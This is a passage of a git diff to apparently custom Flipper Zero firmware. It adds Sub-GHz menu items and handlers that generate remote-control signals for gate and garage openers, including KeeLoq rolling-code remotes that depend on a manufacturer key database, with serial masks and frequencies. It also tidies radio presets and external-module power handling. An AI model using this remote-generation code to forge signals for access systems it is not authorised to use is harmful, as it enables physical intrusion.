submenu_add_item( subghz->submenu, - "Nice Flo 12bit 433MHz", - SubmenuIndexNiceFlo12bit, + "Alutech AT4N 433MHz", + SubmenuIndexAlutechAT4N, subghz_scene_set_type_submenu_callback, subghz); submenu_add_item( subghz->submenu, - "Nice Flo 24bit 433MHz", - SubmenuIndexNiceFlo24bit, + "KL: DoorHan 315MHz", + SubmenuIndexDoorHan_315_00, subghz_scene_set_type_submenu_callback, subghz); submenu_add_item( subghz->submenu, - "Nice Smilo 433MHz", + "KL: DoorHan 433MHz", + SubmenuIndexDoorHan_433_92, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: Beninca 433MHz", + SubmenuIndexBeninca433, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: Beninca 868MHz", + SubmenuIndexBeninca868, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: Sommer 434MHz", + SubmenuIndexSommer_FM_434, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: Sommer 868MHz", + SubmenuIndexSommer_FM_868, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: IronLogic 433MHz", + SubmenuIndexIronLogic, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: DTM Neo 433MHz", + SubmenuIndexDTMNeo433, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: Gibidi 433MHz", + SubmenuIndexGibidi433, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: GSN 433MHz", + SubmenuIndexGSN, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: Aprimatic 433MHz", + SubmenuIndexAprimatic, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: Elmes (PL) 433MHz", + SubmenuIndexElmesElectronic, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: Nice Smilo 433MHz", SubmenuIndexNiceSmilo_433_92, subghz_scene_set_type_submenu_callback, subghz); @@ -134,6 +200,18 @@ void subghz_scene_set_type_on_enter(void* context) { SubmenuIndexNiceOne_433_92, subghz_scene_set_type_submenu_callback, subghz); + submenu_add_item( + subghz->submenu, + "Nice Flo 12bit 433MHz", + SubmenuIndexNiceFlo12bit, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "Nice Flo 24bit 433MHz", + SubmenuIndexNiceFlo24bit, + subghz_scene_set_type_submenu_callback, + subghz); submenu_add_item( subghz->submenu, "CAME 12bit 433MHz", @@ -146,6 +224,42 @@ void subghz_scene_set_type_on_enter(void* context) { SubmenuIndexCAME24bit, subghz_scene_set_type_submenu_callback, subghz); + submenu_add_item( + subghz->submenu, + "CAME 12bit 868MHz", + SubmenuIndexCAME12bit868, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "CAME 24bit 868MHz", + SubmenuIndexCAME24bit868, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "CAME TWEE 433MHz", + SubmenuIndexCAMETwee, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: CAME Space 433MHz", + SubmenuIndexCAMESpace, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "Princeton 315MHz", + SubmenuIndexPricenton315, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "Princeton 433MHz", + SubmenuIndexPricenton, + subghz_scene_set_type_submenu_callback, + subghz); submenu_add_item( subghz->submenu, "BETT 433MHz", @@ -158,12 +272,6 @@ void subghz_scene_set_type_on_enter(void* context) { SubmenuIndexLinear_300_00, subghz_scene_set_type_submenu_callback, subghz); - submenu_add_item( - subghz->submenu, - "CAME TWEE 433MHz", - SubmenuIndexCAMETwee, - subghz_scene_set_type_submenu_callback, - subghz); // submenu_add_item( // subghz->submenu, "Nero Sketch", SubmenuIndexNeroSketch, subghz_scene_set_type_submenu_callback, subghz); // submenu_add_item( @@ -174,18 +282,6 @@ void subghz_scene_set_type_on_enter(void* context) { SubmenuIndexGateTX, subghz_scene_set_type_submenu_callback, subghz); - submenu_add_item( - subghz->submenu, - "DoorHan 315MHz", - SubmenuIndexDoorHan_315_00, - subghz_scene_set_type_submenu_callback, - subghz); - submenu_add_item( - subghz->submenu, - "DoorHan 433MHz", - SubmenuIndexDoorHan_433_92, - subghz_scene_set_type_submenu_callback, - subghz); submenu_add_item( subghz->submenu, "Security+1.0 315MHz", @@ -261,6 +357,15 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { generated_protocol = true; } break; + case SubmenuIndexPricenton315: + key = (key & 0x00FFFFF0) | 0x4; //btn 0x1, 0x2, 0x4, 0x8 + if(subghz_scene_set_type_submenu_gen_data_protocol( + subghz, SUBGHZ_PROTOCOL_PRINCETON_NAME, key, 24, 315000000, "AM650")) { + uint32_t te = 400; + flipper_format_update_uint32(subghz->txrx->fff_data, "TE", (uint32_t*)&te, 1); + generated_protocol = true; + } + break; case SubmenuIndexNiceFlo12bit: key = (key & 0x0000FFF0) | 0x1; //btn 0x1, 0x2, 0x4 if(subghz_scene_set_type_submenu_gen_data_protocol( @@ -289,6 +394,20 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { generated_protocol = true; } break; + case SubmenuIndexCAME12bit868: + key = (key & 0x0000FFF0) | 0x1; //btn 0x1, 0x2, 0x4 + if(subghz_scene_set_type_submenu_gen_data_protocol( + subghz, SUBGHZ_PROTOCOL_CAME_NAME, key, 12, 868350000, "AM650")) { + generated_protocol = true; + } + break; + case SubmenuIndexCAME24bit868: + key = (key & 0x00FFFFF0) | 0x4; //btn 0x1, 0x2, 0x4, 0x8 + if(subghz_scene_set_type_submenu_gen_data_protocol( + subghz, SUBGHZ_PROTOCOL_CAME_NAME, key, 24, 868350000, "AM650")) { + generated_protocol = true; + } + break; case SubmenuIndexLinear_300_00: key = (key & 0x3FF); if(subghz_scene_set_type_submenu_gen_data_protocol( @@ -325,6 +444,313 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { generated_protocol = true; } break; + case SubmenuIndexBeninca433: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + (key & 0x000FFF00) | 0x00800080, + 0x1, + 0x0005, + "Beninca", + subghz->txrx->preset); + flipper_format_write_string_cstr(subghz->txrx->fff_data, "Manufacture", "Beninca"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexBeninca868: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 868350000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + (key & 0x000FFF00) | 0x00800080, + 0x1, + 0x0005, + "Beninca", + subghz->txrx->preset); + flipper_format_write_string_cstr(subghz->txrx->fff_data, "Manufacture", "Beninca"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexElmesElectronic: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + (key & 0x00FFFFFF) | 0x02000000, + 0x2, + 0x0003, + "Elmes_Poland", + subghz->txrx->preset); + flipper_format_write_string_cstr( + subghz->txrx->fff_data, "Manufacture", "Elmes_Poland"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexANMotorsAT4: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + (key & 0x00FFFFFF) | 0x04000000, + 0x2, + 0x0021, + "AN-Motors", + subghz->txrx->preset); + flipper_format_write_string_cstr( + subghz->txrx->fff_data, "Manufacture", "AN-Motors"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexAprimatic: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + (key & 0x000FFFFF) | 0x00600000, + 0x4, + 0x0003, + "Aprimatic", + subghz->txrx->preset); + flipper_format_write_string_cstr( + subghz->txrx->fff_data, "Manufacture", "Aprimatic"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexGibidi433: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key & 0x00FFFFFF, + 0x2, + 0x0003, + "Gibidi", + subghz->txrx->preset); + flipper_format_write_string_cstr(subghz->txrx->fff_data, "Manufacture", "Gibidi"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexGSN: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key & 0x0FFFFFFF, + 0x2, + 0x0003, + "GSN", + subghz->txrx->preset); + flipper_format_write_string_cstr(subghz->txrx->fff_data, "Manufacture", "GSN"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexIronLogic: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key & 0x00FFFFF0, + 0x4, + 0x0005, + "IronLogic", + subghz->txrx->preset); + flipper_format_write_string_cstr( + subghz->txrx->fff_data, "Manufacture", "IronLogic"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexSommer_FM_434: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "FM476", 434420000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key & 0x0FFFFFFF, + 0x4, + 0x0003, + "Sommer(fsk476)", + subghz->txrx->preset); + flipper_format_write_string_cstr( + subghz->txrx->fff_data, "Manufacture", "Sommer(fsk476)"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexSommer_FM_868: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "FM476", 868800000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key & 0x0FFFFFFF, + 0x4, + 0x0003, + "Sommer(fsk476)", + subghz->txrx->preset); + flipper_format_write_string_cstr( + subghz->txrx->fff_data, "Manufacture", "Sommer(fsk476)"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexDTMNeo433: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key & 0x000FFFFF, + 0x2, + 0x0005, + "DTM_Neo", + subghz->txrx->preset); + flipper_format_write_string_cstr(subghz->txrx->fff_data, "Manufacture", "DTM_Neo"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexCAMESpace: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key & 0x00FFFFFF, + 0x2, + 0x0003, + "Came_Space", + subghz->txrx->preset); + flipper_format_write_string_cstr( + subghz->txrx->fff_data, "Manufacture", "Came_Space"); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; case SubmenuIndexBFTMitto: subghz->txrx->transmitter = subghz_transmitter_alloc_init( subghz->txrx->environment, SUBGHZ_PROTOCOL_KEELOQ_NAME); @@ -361,6 +787,29 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } break; + case SubmenuIndexAlutechAT4N: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_ALUTECH_AT_4N_NAME); + subghz_preset_init(subghz, "AM650", 433920000, NULL, 0); + if(subghz->txrx->transmitter) { + subghz_protocol_alutech_at_4n_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + (key & 0x000FFFFF) | 0x00100000, + 0x44, + 0x0003, + subghz->txrx->preset); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; case SubmenuIndexSomfyTelis: subghz->txrx->transmitter = subghz_transmitter_alloc_init( subghz->txrx->environment, SUBGHZ_PROTOCOL_SOMFY_TELIS_NAME); @@ -397,6 +846,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { 0x0003, "DoorHan", subghz->txrx->preset); + flipper_format_write_string_cstr(subghz->txrx->fff_data, "Manufacture", "DoorHan"); generated_protocol = true; } else { generated_protocol = false; @@ -421,6 +871,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { 0x0003, "DoorHan", subghz->txrx->preset); + flipper_format_write_string_cstr(subghz->txrx->fff_data, "Manufacture", "DoorHan"); generated_protocol = true; } else { generated_protocol = false; @@ -493,6 +944,8 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { 0x0003, "NICE_Smilo", subghz->txrx->preset); + flipper_format_write_string_cstr( + subghz->txrx->fff_data, "Manufacture", "NICE_Smilo"); generated_protocol = true; } else { generated_protocol = false; diff --git a/applications/main/subghz/scenes/subghz_scene_start.c b/applications/main/subghz/scenes/subghz_scene_start.c index fd31353e0..00b7ddbac 100644 --- a/applications/main/subghz/scenes/subghz_scene_start.c +++ b/applications/main/subghz/scenes/subghz_scene_start.c @@ -52,10 +52,14 @@ void subghz_scene_start_on_enter(void* context) { SubmenuIndexExtSettings, subghz_scene_start_submenu_callback, subghz); - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { - submenu_add_item( - subghz->submenu, "Test", SubmenuIndexTest, subghz_scene_start_submenu_callback, subghz); - } + submenu_add_lockable_item( + subghz->submenu, + "Test", + SubmenuIndexTest, + subghz_scene_start_submenu_callback, + subghz, + !furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug), + "Enable\nDebug!"); submenu_set_selected_item( subghz->submenu, scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneStart)); @@ -84,6 +88,8 @@ bool subghz_scene_start_on_event(void* context, SceneManagerEvent event) { furi_hal_subghz_enable_ext_power(); if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + subghz->last_settings->external_module_enabled = false; furi_string_set(subghz->error_str, "Please connect\nexternal radio"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); return true; diff --git a/applications/main/subghz/scenes/subghz_scene_transmitter.c b/applications/main/subghz/scenes/subghz_scene_transmitter.c index 34685a8e5..e32e2b7b2 100644 --- a/applications/main/subghz/scenes/subghz_scene_transmitter.c +++ b/applications/main/subghz/scenes/subghz_scene_transmitter.c @@ -6,6 +6,7 @@ #include #include #include +#include void subghz_scene_transmitter_callback(SubGhzCustomEvent event, void* context) { furi_assert(context); @@ -95,6 +96,7 @@ bool subghz_scene_transmitter_on_event(void* context, SceneManagerEvent event) { alutech_set_btn(0); nice_flors_set_btn(0); somfy_telis_set_btn(0); + secplus2_set_btn(0); uint8_t tmp_counter = furi_hal_subghz_get_rolling_counter_mult(); furi_hal_subghz_set_rolling_counter_mult(0); // Calling restore! @@ -139,6 +141,7 @@ void subghz_scene_transmitter_on_exit(void* context) { alutech_reset_original_btn(); nice_flors_reset_original_btn(); somfy_telis_reset_original_btn(); + secplus2_reset_original_btn(); star_line_reset_mfname(); star_line_reset_kl_type(); } diff --git a/applications/main/subghz/subghz.c b/applications/main/subghz/subghz.c index e2b484120..75c6e627a 100644 --- a/applications/main/subghz/subghz.c +++ b/applications/main/subghz/subghz.c @@ -186,66 +186,66 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) { subghz_setting_load(subghz->setting, EXT_PATH("subghz/assets/setting_user")); // Custom Presets load without using config file + if(!alloc_for_tx_only) { + FlipperFormat* temp_fm_preset = flipper_format_string_alloc(); + flipper_format_write_string_cstr( + temp_fm_preset, + (const char*)"Custom_preset_data", + (const char*)"02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 83 10 67 15 24 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00"); + flipper_format_rewind(temp_fm_preset); + subghz_setting_load_custom_preset(subghz->setting, (const char*)"FM95", temp_fm_preset); - FlipperFormat* temp_fm_preset = flipper_format_string_alloc(); - flipper_format_write_string_cstr( - temp_fm_preset, - (const char*)"Custom_preset_data", - (const char*)"02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 83 10 67 15 24 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00"); - flipper_format_rewind(temp_fm_preset); - subghz_setting_load_custom_preset(subghz->setting, (const char*)"FM95", temp_fm_preset); + flipper_format_free(temp_fm_preset); - flipper_format_free(temp_fm_preset); + // #2-FSK 200khz BW / 135kHz Filter/ 15.86Khz Deviation + Ramping + FlipperFormat* temp_fm_preset2 = flipper_format_string_alloc(); + flipper_format_write_string_cstr( + temp_fm_preset2, + (const char*)"Custom_preset_data", + (const char*)"02 0D 03 47 08 32 0B 06 15 32 14 00 13 00 12 00 11 32 10 A7 18 18 19 1D 1D 92 1C 00 1B 04 20 FB 22 17 21 B6 00 00 00 12 0E 34 60 C5 C1 C0"); + flipper_format_rewind(temp_fm_preset2); + subghz_setting_load_custom_preset(subghz->setting, (const char*)"FM15k", temp_fm_preset2); - // #2-FSK 200khz BW / 135kHz Filter/ 15.86Khz Deviation + Ramping - FlipperFormat* temp_fm_preset2 = flipper_format_string_alloc(); - flipper_format_write_string_cstr( - temp_fm_preset2, - (const char*)"Custom_preset_data", - (const char*)"02 0D 03 47 08 32 0B 06 15 32 14 00 13 00 12 00 11 32 10 A7 18 18 19 1D 1D 92 1C 00 1B 04 20 FB 22 17 21 B6 00 00 00 12 0E 34 60 C5 C1 C0"); - flipper_format_rewind(temp_fm_preset2); - subghz_setting_load_custom_preset(subghz->setting, (const char*)"FM15k", temp_fm_preset2); + flipper_format_free(temp_fm_preset2); - flipper_format_free(temp_fm_preset2); + // Pagers + FlipperFormat* temp_fm_preset3 = flipper_format_string_alloc(); + flipper_format_write_string_cstr( + temp_fm_preset3, + (const char*)"Custom_preset_data", + (const char*)"02 0D 07 04 08 32 0B 06 10 64 11 93 12 0C 13 02 14 00 15 15 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00"); + flipper_format_rewind(temp_fm_preset3); + subghz_setting_load_custom_preset(subghz->setting, (const char*)"Pagers", temp_fm_preset3); - // Pagers - FlipperFormat* temp_fm_preset3 = flipper_format_string_alloc(); - flipper_format_write_string_cstr( - temp_fm_preset3, - (const char*)"Custom_preset_data", - (const char*)"02 0D 07 04 08 32 0B 06 10 64 11 93 12 0C 13 02 14 00 15 15 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00"); - flipper_format_rewind(temp_fm_preset3); - subghz_setting_load_custom_preset(subghz->setting, (const char*)"Pagers", temp_fm_preset3); + flipper_format_free(temp_fm_preset3); - flipper_format_free(temp_fm_preset3); + // # HND - FM presets + FlipperFormat* temp_fm_preset4 = flipper_format_string_alloc(); + flipper_format_write_string_cstr( + temp_fm_preset4, + (const char*)"Custom_preset_data", + (const char*)"02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 36 10 69 15 32 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00"); + flipper_format_rewind(temp_fm_preset4); + subghz_setting_load_custom_preset(subghz->setting, (const char*)"HND_1", temp_fm_preset4); - // # HND - FM presets - FlipperFormat* temp_fm_preset4 = flipper_format_string_alloc(); - flipper_format_write_string_cstr( - temp_fm_preset4, - (const char*)"Custom_preset_data", - (const char*)"02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 36 10 69 15 32 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00"); - flipper_format_rewind(temp_fm_preset4); - subghz_setting_load_custom_preset(subghz->setting, (const char*)"HND_1", temp_fm_preset4); + flipper_format_free(temp_fm_preset4); - flipper_format_free(temp_fm_preset4); - - FlipperFormat* temp_fm_preset5 = flipper_format_string_alloc(); - flipper_format_write_string_cstr( - temp_fm_preset5, - (const char*)"Custom_preset_data", - (const char*)"02 0D 0B 06 08 32 07 04 14 00 13 02 12 07 11 36 10 E9 15 32 18 18 19 16 1D 92 1C 40 1B 03 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00"); - flipper_format_rewind(temp_fm_preset5); - subghz_setting_load_custom_preset(subghz->setting, (const char*)"HND_2", temp_fm_preset5); - - flipper_format_free(temp_fm_preset5); + FlipperFormat* temp_fm_preset5 = flipper_format_string_alloc(); + flipper_format_write_string_cstr( + temp_fm_preset5, + (const char*)"Custom_preset_data", + (const char*)"02 0D 0B 06 08 32 07 04 14 00 13 02 12 07 11 36 10 E9 15 32 18 18 19 16 1D 92 1C 40 1B 03 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00"); + flipper_format_rewind(temp_fm_preset5); + subghz_setting_load_custom_preset(subghz->setting, (const char*)"HND_2", temp_fm_preset5); + flipper_format_free(temp_fm_preset5); + } // custom presets loading - end // Load last used values for Read, Read RAW, etc. or default + subghz->last_settings = subghz_last_settings_alloc(); + subghz_last_settings_load(subghz->last_settings, 0); if(!alloc_for_tx_only) { - subghz->last_settings = subghz_last_settings_alloc(); - subghz_last_settings_load(subghz->last_settings, 0); #if FURI_DEBUG FURI_LOG_D( TAG, @@ -421,9 +421,6 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) { // The rest free(subghz); - - // Disable power for External CC1101 if it was enabled and module is connected - furi_hal_subghz_disable_ext_power(); } int32_t subghz_app(void* p) { @@ -447,9 +444,19 @@ int32_t subghz_app(void* p) { subghz->txrx->environment, EXT_PATH("subghz/assets/keeloq_mfcodes")); subghz_environment_load_keystore( subghz->txrx->environment, EXT_PATH("subghz/assets/keeloq_mfcodes_user")); + + // Call enable power for external module + furi_hal_subghz_enable_ext_power(); + + // Auto switch to internal radio if external radio is not available + if(!furi_hal_subghz_check_radio()) { + subghz->last_settings->external_module_enabled = false; + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } // Check argument and run corresponding scene if(p && strlen(p)) { uint32_t rpc_ctx = 0; + if(sscanf(p, "RPC %lX", &rpc_ctx) == 1) { subghz->rpc_ctx = (void*)rpc_ctx; rpc_system_app_set_callback(subghz->rpc_ctx, subghz_rpc_command_callback, subghz); @@ -498,6 +505,8 @@ int32_t subghz_app(void* p) { view_dispatcher_run(subghz->view_dispatcher); furi_hal_power_suppress_charge_exit(); + // Disable power for External CC1101 if it was enabled and module is connected + furi_hal_subghz_disable_ext_power(); subghz_free(subghz, alloc_for_tx); diff --git a/applications/main/subghz/subghz_last_settings.c b/applications/main/subghz/subghz_last_settings.c index 8e7016df7..6fc51554d 100644 --- a/applications/main/subghz/subghz_last_settings.c +++ b/applications/main/subghz/subghz_last_settings.c @@ -17,6 +17,8 @@ //#define SUBGHZ_LAST_SETTING_FIELD_PRESET "Preset" #define SUBGHZ_LAST_SETTING_FIELD_FREQUENCY_ANALYZER_FEEDBACK_LEVEL "FeedbackLevel" #define SUBGHZ_LAST_SETTING_FIELD_FREQUENCY_ANALYZER_TRIGGER "FATrigger" +#define SUBGHZ_LAST_SETTING_FIELD_EXTERNAL_MODULE_ENABLED "External" +#define SUBGHZ_LAST_SETTING_FIELD_EXTERNAL_MODULE_POWER "ExtPower" SubGhzLastSettings* subghz_last_settings_alloc(void) { SubGhzLastSettings* instance = malloc(sizeof(SubGhzLastSettings)); @@ -41,6 +43,8 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count uint32_t temp_frequency = 0; uint32_t temp_frequency_analyzer_feedback_level = 0; float temp_frequency_analyzer_trigger = 0; + bool temp_external_module_enabled = false; + bool 